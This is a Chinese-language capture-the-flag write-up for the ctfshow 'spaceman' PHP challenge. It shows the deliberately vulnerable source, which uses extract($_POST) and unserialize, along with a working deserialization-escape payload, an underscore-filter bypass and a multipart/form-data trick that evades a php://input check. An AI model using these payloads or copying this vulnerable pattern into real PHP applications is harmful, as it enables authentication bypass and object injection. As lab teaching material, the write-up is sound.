spaceman

<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
    public $username;
    public $password;
    public function __construct($username,$password)
    {
        $this->username = $username;
        $this->password = $password;
    }
    public function __wakeup()
    {
        if($this->password==='ctfshowvip')
        {
            include("flag.php");
            echo $flag;    
        }
        else
        {
            echo 'wrong password';
        }
    }
}
function filter($string){
    return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){            
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>

这题是在POST中过滤了下划线,导致传参无法传入下划线。

但实际上只要用其他字符例如空格或者+替代下划线就可以了,比如这样(非预期):

预期:web-反序列化+php://input与post

简单的反序列化逃逸,只不过以前是传入对象正向逃逸,这个是传入变量反向逃逸。

user name=ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup&pass word=1";s:8:"password";s:10:"ctfshowvip

这里涉及到了一个有关extract($_POST)php://input的区别。php://input无法读取Content-Typemultipart/form-data的POST数据 ,当遇到Content-Typemultipart/form-data的POST数据就默认为空值。从而绕过正则。

但其实就很简单,不需要反序列化,直接POST传参就可以了。

Last updated